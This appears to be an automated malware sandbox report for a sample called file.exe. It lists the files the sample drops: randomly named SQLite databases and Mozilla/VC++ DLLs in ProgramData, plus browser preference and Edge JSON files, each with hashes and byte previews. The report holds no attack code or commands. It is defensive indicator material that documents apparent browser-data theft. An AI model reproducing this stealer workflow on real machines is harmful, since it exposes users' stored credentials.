SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BGHCGCAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649681792847365
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMsSAELyKOMq+8yC8F/YfU5m+OlTLVumc:Bq+n0Js9ELyKOMq+8y9/Ow/
MD5:	382B096BD2A7C558E55DFE1699A3EE69
SHA1:	ED415A9ACD39379BBA91E430B393A7E2B9DC3FB9
SHA-256:	3603FA80378F4C969ED953446C4E5796E6692454C9A9495C4BF48822DEACC894
SHA-512:	C8C0CF653AE9BAE4B5D8EC4F08CC838FF152E6D843E14C439F2FE9B037D93101C23D759C47769361D69A42A56F2DFF53FF3C167BB7D68359654005D40E74BC5A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBAEGCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJDBAAAEHIEGCAKFHCGDHIEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKECBGIIIEBGCBGIDHDGCAKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJJJEBGCFBGDHIDGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1c9e4a80-1e18-4165-87b7-661239cf45a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45941
Entropy (8bit):	6.087953054667064
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9mFQu8hDO6vP6OUtcZtcRVED0EcP2185CAotGoup1Xl3jVz/:mMk1rT8HR9mL60iwP2185Rothu3VlXrr
MD5:	88002CCBA9638CD8B2819FBB3D33FF26
SHA1:	A4959AA8A0725D895F77FF11DAA42BB830B14AB0
SHA-256:	9F9FC90C84FE5E22CD63B91CF95411426F64B41E72D318C075D2FBD474D8BE82
SHA-512:	CD92EBA87E4023AE2ADC8D26D864F81171C7CB2814AB632FBFB8C5EE06657710E48441C1C6EBDDFEE07E38F7401D97632902BE31A4F6AA437A520C4740DDAED4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2522088e-8ae7-41a5-8795-44fe6752038f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\41efbd67-3c6b-4d00-abfb-ef002b728ec5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44616
Entropy (8bit):	6.096404144998233
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBNwuPhDO6vP6OUtchiGNrPrcGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEg60iFchu3VlXr4CRo1
MD5:	98F9916FB4F2071ADAEBCF274D7EB15E
SHA1:	424DC6B572B46537532DE6D941A4E3BC57946B2D
SHA-256:	5A41793F3F795FB07E0016EAA4375E218C4D799D0CE5E3817B6D699F93797AFA
SHA-512:	7C127F8DBEC4FD16C8F8EBFF3B83BAD104A55F9251F72ECD66CD5E7A2C2D5F0A772B7FB66F8F735EB9961B1B422D2B78D6DC2CA1BCA4C0C6111398DE8FF871F8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\48bbcf2d-4459-4ab7-bded-085bd32d8929.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44616
Entropy (8bit):	6.096404144998233
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBNwuPhDO6vP6OUtchiGNrPrcGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEg60iFchu3VlXr4CRo1
MD5:	98F9916FB4F2071ADAEBCF274D7EB15E
SHA1:	424DC6B572B46537532DE6D941A4E3BC57946B2D
SHA-256:	5A41793F3F795FB07E0016EAA4375E218C4D799D0CE5E3817B6D699F93797AFA
SHA-512:	7C127F8DBEC4FD16C8F8EBFF3B83BAD104A55F9251F72ECD66CD5E7A2C2D5F0A772B7FB66F8F735EB9961B1B422D2B78D6DC2CA1BCA4C0C6111398DE8FF871F8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6826ea0c-5647-4e3b-9bcc-14c820c0f068.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46065
Entropy (8bit):	6.0876413041568584
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgHomKQu8hDO6vP6OUtcttcRVED0EcP2185CAotGoup1Xl3jVz/:mMk1rT8Hnom660isP2185Rothu3VlXrr
MD5:	56C11E43C25846DED6D837530C4018C2
SHA1:	DCC2171284AD5C1C2ED983B63425777055F144AD
SHA-256:	636E6C27B8A4919AD83F1A6B161E4DE5103C7B113F273BABAB04715F3DADE6FF
SHA-512:	C2B174C711D79CC2F141E65C6992AE8771BCC7CF08EC758E67A352B123B5A686DB040A86F0BFA74B595F32FD07460CC355120ACEAFA4B24B705B8989B877E34E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6d19523f-d0a6-4852-9432-ca56d77d3fad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46065
Entropy (8bit):	6.087639521955688
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgH9mKQu8hDO6vP6OUtcttcRVED0EcP2185CAotGoup1Xl3jVz/:mMk1rT8Hn9m660isP2185Rothu3VlXrr
MD5:	ACC6C5D96DC4FBB578A56E9C643C945F
SHA1:	02C94AACB183369A208B3D0F3AE6B1A240BAE770
SHA-256:	B8D158FFAEB16CDBE551AD0F42F29957B59642921F09AC3965EDB354126BB51F
SHA-512:	11726872B646394222A776D8475D28D0BB3D0133B2F17D139BB5EE9C3B9DD62125C270807D8284A78478EB1ACAB6488C3A28D722D50E6BC2C1C7CBB6C22BA8A6
Malicious:	false
